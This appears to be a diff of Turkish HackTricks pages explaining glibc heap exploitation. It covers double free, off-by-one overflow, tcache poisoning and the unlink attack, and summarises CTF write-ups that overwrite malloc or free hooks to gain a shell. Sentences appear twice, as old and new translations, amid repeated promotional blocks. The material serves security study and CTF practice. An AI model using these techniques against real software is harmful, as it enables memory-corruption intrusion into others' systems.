GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
Önerilen birçok heap istismar tekniği, serbest bırakılmış parçaların içindeki işaretçileri üzerine yazabilmeyi gerektirir. Bu sayfanın amacı, bu erişimi sağlayabilecek potansiyel güvenlik açıklarını özetlemektir:
Önerilen birk heap istismar tekniği, serbest bırakılmış parçaların içindeki işaretçileri üzerine yazabilmeyi gerektirir. Bu sayfanın amacı, bu erişimi sağlayabilecek potansiyel güvenlik açıklarını özetlemektir:
### Basit Kullanımdan Sonra Ücretsiz
Saldırganın **bir serbest parçada bilgi yazabilmesi mümkünse**, bunu gerekli işaretçileri üzerine yazmak için kötüye kullanabilir.
Saldırganın **bir serbest parçaya bilgi yazabilmesi** mümkünse, bunu gerekli işaretçileri üzerine yazmak için kötüye kullanabilir.
### Çift Serbest
### Çift Serbest Bırakma
Saldırgan, aynı parçayı **iki kez serbest bırakabilir** (olasılıkla arada diğer parçaları serbest bırakarak) ve bunun **aynı kovada 2 kez olmasını sağlayabilirse**, kullanıcı daha sonra **parçayı ayırabilir**, **gerekli işaretçileri yazabilir** ve ardından **tekrar ayırabilir**, parçanın ayrıldığı eylemleri tetikleyebilir (örneğin hızlı kova saldırısı, tcache saldırısı...)
Saldırgan, aynı parçayı **iki kez `free`** edebilirse (olası arada başka parçaları serbest bırakarak) ve bunu **aynı kovada 2 kez olacak şekilde** yapabilirse, kullanıcının daha sonra **parçayı ayırabilmesi**, gerekli işaretçileri **yazabilmesi** ve ardından tekrar **ayırabilmesi** mümkün olacaktır, bu da parçanın ayrıldığının eylemlerini tetikleyecektir (örneğin hızlı kova saldırısı, tcache saldırısı...)
### Heap Taşması
Tahsis edilmiş bir parçayı taşırarak yanında bir serbest parça oluşturmak ve bunun bazı başlıklarını/işaretçilerini değiştirmek mümkün olabilir.
Tahsis edilmiş bir parçayı **serbest bırakılmış bir parçanın yanında taşırarak** taşırabilir ve bunun bazı başlıklarını/işaretçilerini değiştirebilir.
### Bir Birim Taşması
Bu durumda bellekteki bir sonraki parçanın **boyutunu değiştirmek mümkün olabilir**. Bir saldırgan, bunu **bir ayrılmış parçanın daha büyük bir boyuta sahip olmasını sağlamak için** kötüye kullanabilir, ardından bunu **serbest bırakabilir**, parçanın farklı bir boyutta (daha büyük) bir kovaya eklenmesini sağlar, ardından **sahte boyutu ayırabilir** ve saldırı, gerçekte olduğundan daha büyük bir boyuta sahip bir parçaya erişim sağlar, dolayısıyla **örtüşen parçalar durumu** sağlar, bu da aynı şekilde **bir heap taşması**na açıktır (önceki bölümü kontrol edin).
Bu durumda, bellekteki bir sonraki parçanın **boyutunu değiştirmek** mümkün olacaktır. Bir saldırgan, bunu **bir ayrılmış parçanın daha büyük bir boyuta sahip olmasını sağlamak** için kötüye kullanabilir, ardından bunu **`free`** edebilir, parçanın farklı bir boyutta (daha büyük) bir kovaya eklenmesini sağlar, ardından **sahte boyutu** ayırabilir ve saldırı, gerçekte olduğundan daha büyük bir boyuta sahip bir parçaya erişim sağlayacaktır, dolayısıyla **örtüşen parçalar durumu** elde edilecektir, bu da aynı şekilde **bir heap taşması** için söz konusu olabilir (önceki bölümü kontrol edin).
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Tcache Bin Saldırısı
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarını göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>
{% endhint %}
## Temel Bilgiler
@ -22,38 +23,38 @@ Tcache bin nedir hakkında daha fazla bilgi için bu sayfaya bakın:
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
{% endcontent-ref %}
İlk olarak, Tcache'in Glibc sürümü 2.26'da tanıtıldığını unutmayın.
İlk olarak, Tcache'nin Glibc sürüm 2.26'da tanıtıldığını unutmayın.
**Tcache saldırısı** (aynı zamanda **Tcache zehirlenmesi** olarak da bilinir) [**guyinatuxido sayfasında**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) önerilen, hedefin bir serbest bölüm içindeki bir bindeki bir sonraki parça işaretçisini istenilen bir adrese üzerine yazmak olduğu hızlı bin saldırısına çok benzerdir, böylece daha sonra **belirli bir adrese bu işaretçiyi ayırmak ve potansiyel olarak işaretçileri üzerine yazmak mümkün olur**.
[**guyinatuxido sayfasında**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) önerilen **Tcache saldırısı** (aynı zamanda **Tcache zehirlenmesi** olarak da bilinir) hedef, bir serbest bırakılmış parçanın içindeki bir kovadaki bir sonraki parça işaretçisini isteğe bağlı bir adrese üzerine yazmak olduğu için hızlı kova saldırısına çok benzerdir, böylece daha sonra **o belirli adrese tahsis edilebilir ve potansiyel olarak işaretçiler üzerine yazılabilir**.
Ancak, günümüzde, bahsedilen kodu çalıştırırsanız hata alırsınız: **`malloc(): hizalanmamış tcache parçası tespit edildi`**. Bu nedenle, yeni işaretçiye hizalanmış bir adres yazmak gereklidir (veya yazılan adresin gerçekten hizalandığından emin olmak için yeterince kez ikili dosyayı çalıştırmak gereklidir).
Ancak, günümüzde, bahsedilen kodu çalıştırırsanız hata alırsınız: **`malloc(): hizalanmamış tcache parçası algılandı`**. Bu nedenle, yeni işaretçiye hizalanmış bir adres yazmak gereklidir (veya yazılan adresin gerçekten hizalandığı kadar sıkı bir şekilde ikili dosyayı çalıştırmak gereklidir).
### Tcache indeks saldırıları
### Tcache indeks saldırısı
Genellikle, heap'in başlangıcında, tcache içindeki **her indeksteki parça miktarını** ve **her tcache indeksinin baş parça adresini** içeren bir parça bulunabilir. Bu bilgiyi bir şekilde değiştirmek mümkün olursa, **bazı indekslerin baş parçasını istenilen bir adrese işaret edecek şekilde yapmak mümkün olur** (`__malloc_hook` gibi) ve daha sonra bu durumda `__malloc_hook` içeriğini üzerine yazmak mümkün olur.
Genellikle, heap'in başlangıcında, tcache içindeki **her indeksteki parça miktarını** içeren bir parça ve **her tcache indeksinin baş parça adresini** içeren bir parça bulunabilir. Bu bilgiyi bir şekilde değiştirmek mümkün olursa, **bazı indeksin baş parçasını istenen bir adrese yönlendirmek mümkün olacaktır** (`__malloc_hook` gibi) ve daha sonra bu durumda `__malloc_hook` içeriğini üzerine yazmak mümkün olacaktır.
## Örnekler
* CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html)
* **Libc bilgi sızıntısı**: Tcache'leri doldurmak, bir parçayı sıralanmamış listeye eklemek, tcache'yi boşaltmak ve ardından sadece ilk 8B'yi üzerine yazarak sıralanmamış bölümden parçayı **yeniden tahsis etmek** mümkündür, **ikinci adresi parçadan libc'ye okuyabiliriz**.
* **Tcache saldırısı**: İkinci bir 1B heap taşması olan bir ikili dosya zafiyetlidir. Bu, ayrılmış bir parçanın **boyut başlığını** değiştirmek için kötüye kullanılacaktır. Daha sonra, bu parça **serbest bırakılacak**, sahte boyuttaki parçaların tcache'ine eklenir. Ardından, sahte boyutta bir parça tahsis edilecek ve önceki parça **gerçekte daha küçük olduğu bilinerek geri dönecektir ve bu, bellekteki bir sonraki parçayı üzerine yazma fırsatı verir**.\
Bu, **bir sonraki parçanın FD işaretçisini üzerine yazmak** için kötüye kullanılacaktır, böylece değiştirilen ilk meşru işaretçiyi ve ardından ikinci tahsisin **`malloc_hook`'a** döneceği bir parça alınacaktır ve bu, **bir gadget yazmak için kötüye kullanılabilir**.
* **Libc bilgi sızıntısı**: Tcache'leri doldurmak, bir parçayı sıralanmamış listeye eklemek, tcache'yi boşaltmak ve ardından sadece ilk 8B'yi üzerine yazarak bu parçayı tekrar tahsis etmek mümkündür, **parçanın ikinci adresini bozulmamış bir şekilde bırakarak, bu sayede okuyabiliriz**.
* **Tcache saldırısı**: İkinci bir 1B heap taşması olan bir ikili dosya zayıf durumdadır. Bu, tahsis edilen bir parçanın **boyut başlığını** değiştirmek için kötüye kullanılacaktır. Daha sonra, bu parça **serbest bırakılacak**, sahte boyuttaki parçaların tcache'ine eklenir. Ardından, sahte boyuttaki bir parça tahsis edilecek ve önceki parça **bu parçanın aslında daha küçük olduğunu bilerek geri dönecek ve bu, bellekteki bir sonraki parçayı üzerine yazma fırsatı verecektir**.\
Bu, **bir sonraki parçanın FD işaretçisini üzerine yazmak** için kötüye kullanılacaktır, böylece değiştirilen ilk işaretçi ve ardından ikinci tahsis, **`malloc_hook`'ta bir parça döndürecektir ve bu, bir **one gadget** yazmak için kötüye kullanılabilir.
* CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html)
* **Libc bilgi sızıntısı**: Bir kullanım sonrası serbest bırakma ve çift serbest bırakma vardır. Bu yazıda yazar, küçük bir bine yerleştirilen bir parçanın adresini okuyarak libc'nin bir adresini sızdırdı.
* **Tcache saldırısı**: Bir **çift serbest bırakma** aracılığıyla bir Tcache gerçekleştirilir. Aynı parça iki kez serbest bırakılır, bu nedenle Tcache içinde parça kendisine işaret eder. Ardından, tahsis edilir, FD işaretçisi **free hook'a** işaret etmek üzere değiştirilir ve ardından tekrar tahsis edilir, böylece listedeki bir sonraki parça free hook'ta olacaktır. Ardından, bu da tahsis edilir ve `system` adresi buraya yazılabilir, böylece `"/bin/sh"` içeren bir malloc serbest bırakıldığında bir kabuk alınabilir.
* **Libc bilgi sızıntısı**: Bir kullanımdan sonra serbest bırakma ve çift serbest bırakma vardır. Bu yazıda, yazar, küçük bir kovaya yerleştirilen bir parçanın adresini okuyarak libc'in bir adresini sızdırdı.
* **Tcache saldırısı**: Bir **çift serbest bırakma** ile bir Tcache gerçekleştirilir. Aynı parça iki kez serbest bırakılır, bu nedenle Tcache içinde parça kendisine işaret eder. Ardından, tahsis edilir, FD işaretçisi **free hook**'a yönlendirilir ve ardından tekrar tahsis edilir, böylece listedeki bir sonraki parça free hook'ta olacaktır. Ardından, bu da tahsis edilir ve `system` adresi buraya yazılabilir, böylece `"/bin/sh"` içeren bir malloc serbest bırakıldığında bir kabuk alınabilir.
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html)
* Buradaki ana zafiyet, heap'te herhangi bir adresi `free` etme kapasitesidir ve bunu belirtmek için ofsetini göstermektir.
* **Tcache indeks saldırıları**: Tcache parçasının içinde depolanan bir boyutta bir parça tahsis edip serbest bırakmak, farklı baytlarda her bir bindeki parça miktarını depoladığı için **değeri 0x100 olan bir adres oluşturacaktır**. Bu, tcache'nin her bir indeksindeki 0x100 boyutundaki parçaların bir parça oluşturmasına neden olur.
* Ardından, bu değer 0x100 boyutunda bir parça olduğu gibi görünür. Bu adresi `free` ile kötüye kullanmaya izin verecektir. Bu, o adresin tcache içindeki 0x100 boyutundaki parçaların indeksine **eklenecektir**.
* Ardından, boyutu **0x100** olan bir parça **tahsis edilir**, önceki adres bir parça olarak geri dönecek ve diğer tcache indekslerini üzerine yazmaya izin verecektir.\
Örneğin, malloc hook adresini birine koyarak ve o indeksin boyutunda bir parça tahsis ederek calloc hook'ta bir parça alınabilir, bu da bir gadget yazmak için bir fırsat sağlar.
* Buradaki ana zayıflık, heap'te herhangi bir adresi `free` edebilme kapasitesidir.
* **Tcache indeks saldırısı**: Tcache parçasının içinde depolanan bir boyutta bir parça tahsis edip serbest bırakmak, farklı baytlarda her bir kovadaki parça miktarını depoladığı için, belirli bir indekste bir parça, değeri 0x100 olan bir adres oluşturacaktır.
* Sonra, bu değer 0x100 boyutunda bir parça olduğu gibi görünmektedir. Bu adresi `free` ile kötüye kullanmak mümkün olacaktır. Bu, o adresin 0x100 boyutundaki parça indeksine eklenmesine neden olacaktır.
* Ardından, boyutu **0x100** olan bir parça tahsis edildiğinde, önceki adres bir parça olarak geri dönecek ve diğer tcache indekslerini üzerine yazma olanağı sağlayacaktır.\
Örneğin, malloc hook adresini birine koyarak ve o indeksin boyutunda bir parça tahsis ederek calloc hook'ta bir parça alınabilir, bu da bir one gadget yazmak için kötüye kullanılabilir.
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html)
* Bir öncekiyle aynı zafiyet, bir ek kısıtlama ile
* **Tcache indeks saldırıları**: Önceki saldırıya benzer saldırı ancak **tcache bilgilerini içeren parçayı serbest bırakarak** daha az adımla gerçekleştirilir, bu nedenle adresi, boyutuna göre tcache indeksine eklenir ve bu nedenle o boyutta tahsis edilebilir ve tcache parça bilgilerini bir parça olarak almak mümkün olur, bu da bir indeksin adresini free hook olarak eklemeyi, tahsis etmeyi ve üzerine bir gadget yazmayı mümkün kılar.
* [**Matematik Kapısı. HTB Siber Kıyamet CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
* `fd` işaretçisine bir sayı eklemek için **Serbest Bırakmadan Sonra Yazma**.
* Bir öncekiyle aynı zayıflık ve bir ek kısıtlama
* **Tcache indeks saldırısı**: Bir önceki saldırıya benzer saldırı ancak **tcache bilgilerini içeren parçayı serbest bırakarak** daha az adımda gerçekleştirilir, bu nedenle boyutuna göre tcache indeksine adresi eklenir ve bu boyutta tahsis edilebilir ve tcache parça bilgileri bir parça olarak alınabilir, bu da bir indeksin adresini free hook olarak eklemeyi, tahsis etmeyi ve üzerine bir one gadget yazmayı mümkün kılar.
* [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
* `fd` işaretçisine bir sayı eklemek için **Write After Free**.
* Bu zorlukta birçok **heap feng-shui** gereklidir. Yazı, **Tcache serbest listesinin başını kontrol etmenin oldukça kullanışlı olduğunu** göstermektedir.
* `stdout` üzerinden **Glibc sızıntısı** (FSOP).
* **Tcache zehirlenmesi** ile keyfi yazma yetkisi elde etmek.
* **💬 [**Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek PR'ler oluşturarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına paylaşın.**
* **💬 [**Discord grubuna** katılın](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** adresinden takip edin.**
* **Hacking püf noktalarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.**

View file

@ -1,22 +1,23 @@
# Unlink Saldırısı
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'ı Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Temel Bilgiler
Bu saldırı keşfedildiğinde genellikle bir WWW (Write What Where) izin veriyordu, ancak bazı **kontroller eklenmiş** ve saldırının yeni versiyonu daha ilginç, daha karmaşık ve **anlamsız** hale getirilmiştir.
Bu saldırı keşfedildiğinde genellikle bir WWW (Write What Where) izin veriyordu, ancak bazı **kontroller eklenmiş** ve saldırının yeni sürümü daha ilginç, daha karmaşık ve **anlamsız** hale getirilmiştir.
### Kod Örneği:
@ -89,37 +90,37 @@ return 0;
```
</details>
* Saldırı, tcaches kullanıldığında çalışmaz (2.26 sonrası)
* Saldırı, tcaches kullanıldığında çalışmaz (2.26'dan sonra)
### Amaç
Bu saldırı, **bir parçanın işaret ettiği konumu kendisinden 3 adres öncesine işaret edecek şekilde değiştirmeyi** sağlar. Eğer bu yeni konum (işaretçinin bulunduğu yerin çevresi) ilginç şeyler içeriyorsa, diğer kontrol edilebilir tahsisler / yığın gibi, bunları okuyup/üzerine yazarak daha büyük zarara neden olmak mümkündür.
* Eğer bu işaretçi yığında bulunuyorsa, çünkü şimdi kendisinden 3 adres öncesine işaret ediyor ve kullanıcı muhtemelen bunu okuyup değiştirebiliyorsa, yığından hassas bilgiler sızdırmak veya hatta geri dönüş adresini (belki) canary'ye dokunmadan değiştirmek mümkün olacaktır.
* CTF örneklerinde, bu işaretçi diğer tahsislere işaret eden bir işaretçi dizisinde bulunmaktadır, bu nedenle 3 adres öncesine işaret etmesi ve okuyup yazabilmesi durumunda diğer işaretçileri başka adreslere işaret etmesi mümkün olacaktır. Potansiyel olarak kullanıcı diğer tahsisleri de okuyup/yazabildiği için bilgi sızdırabilir veya rastgele konumlara yeni adresler üzerine yazabilir (örneğin GOT'ta).
* Eğer bu işaretçi yığında bulunuyorsa, çünkü şimdi kendisinden 3 adres önce işaret ediyor ve kullanıcı potansiyel olarak bunu okuyup değiştirebiliyorsa, yığından hassas bilgiler sızdırmak veya hatta geri dönüş adresini (belki) canary'ye dokunmadan değiştirmek mümkün olacaktır
* CTF örneklerinde, bu işaretçi diğer tahsislere işaret eden bir işaretçi dizisinde bulunmaktadır, bu nedenle 3 adres öncesine işaret etmesi ve okuyup yazabilmesi sayesinde diğer işaretçileri başka adreslere işaret etmesi mümkün olacaktır. Potansiyel olarak kullanıcı diğer tahsisleri de okuyup/yazabildiği için bilgi sızdırabilir veya rastgele konumlara yeni adresler üzerine yazabilir (örneğin GOT'ta).
### Gereksinimler
* Bir bellekte (örneğin yığın) bazı kontrol sahibi olmak, bazı özniteliklere değerler vererek birkaç parça oluşturmak için.
* Bir bellekte (örneğin yığın) bazı kontrol sahibi olmak için bazı özelliklere değerler vererek bir çift parça oluşturmak.
* Sahte parçanın işaretçilerini ayarlamak için yığın sızıntısı.
### Saldırı
* Birkaç parça bulunmaktadır (parça1 ve parça2)
* Bir çift parça bulunmaktadır (parça1 ve parça2)
* Saldırgan parça1'in içeriğini ve parça2'nin başlıklarını kontrol eder.
* Parça1'de saldırgan sahte bir parça yapısını oluşturur:
* Korumaları atlatmak için `boyut` alanının doğru olduğundan emin olur, böylece `corrupted size vs. prev_size while consolidating` hatası alınmaz
* Korumaları atlamak için `boyut` alanının doğru olduğundan emin olur, böylece `corrupted size vs. prev_size while consolidating` hatası alınmaz
* ve sahte parçanın `fd` ve `bk` alanları, sahte parçanın depolandığı yerin -3 ve -2 ofsetlerinde işaret eder duruma getirilir, böylece `sahte_parça->fd->bk` ve `sahte_parça->bk->fd` gerçek parça1 adresinin bulunduğu bellek (yığın) konumuna işaret eder:
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
* Parça2'nin başlıkları değiştirilir ve önceki parçanın kullanılmadığını ve içerdiği sahte parçanın boyutunun boyut olduğunu belirtir.
* İkinci parça serbest bırakıldığında, bu sahte parçanın bağlantısı kesilir:
* İkinci parça serbest bırakıldığında, bu sahte parçanın bağlantısının kesildiği olur:
* `sahte_parça->fd->bk` = `sahte_parça->bk`
* `sahte_parça->bk->fd` = `sahte_parça->fd`
* Daha önce `sahte_parça->fd->bk` ve `sahte_parça->bk->fd`'nin aynı yere işaret ettiği sağlanmıştı (parça1'in depolandığı yığın konumu, bu nedenle geçerli bir bağlı liste idi). Çünkü **her ikisi de aynı yere işaret ediyor**, sadece sonuncusu (`sahte_parça->bk->fd = sahte_parça->fd`) **etkili** olacaktır.
* Bu, yığında parça1 işaretçisini yığında kendisinden 3 adres önce depolanan adrese (veya baytlara) **üzerine yazacaktır**.
* Dolayısıyla, bir saldırgan parça1'in içeriğini kontrol edebilirse, yığının içine **yazabilecek**, potansiyel olarak canary'yi atlayarak geri dönüş adresini değiştirebilecek ve yerel değişkenlerin değerlerini ve işaretçilerini değiştirebilecektir. Hatta yine parça1'in yığında depolanan adresini saldırgan tekrar içeriği kontrol edebilirse farklı bir konuma işaret edecek şekilde değiştirebilir, böylece herhangi bir yere yazabilir.
* Bu, yığında parça1 işaretçisini yığında depolanan adresin (veya baytların) 3 adres öncesindeki adrese **üzerine yazacaktır**.
* Dolayısıyla, bir saldırgan parça1'in içeriğini kontrol edebilirse, yığının içine **yazabilecek** ve potansiyel olarak canary'yi atlayarak geri dönüş adresini değiştirme ve yerel değişkenlerin değerlerini ve işaretçilerini değiştirme yeteneğine sahip olacaktır. Hatta yine parça1'in yığında depolanan adresini saldırgan tekrar içeriği kontrol edebilirse farklı bir konuma işaret edecek şekilde değiştirebilir, böylece parça1'in içeriğini tekrar kontrol edebilirse herhangi bir yere yazabilir.
* Bu, **adreslerin yığında depolandığı için** mümkün oldu. Risk ve sömürü, sahte parçanın adreslerinin **nerede depolandığına bağlı olabilir**.
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
@ -129,22 +130,23 @@ Bu saldırı, **bir parçanın işaret ettiği konumu kendisinden 3 adres önces
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
* CTF'de bile bir unlink saldırısı bulmak garip olabilir ancak bu saldırının kullanıldığı bazı yazılımlar bulunmaktadır:
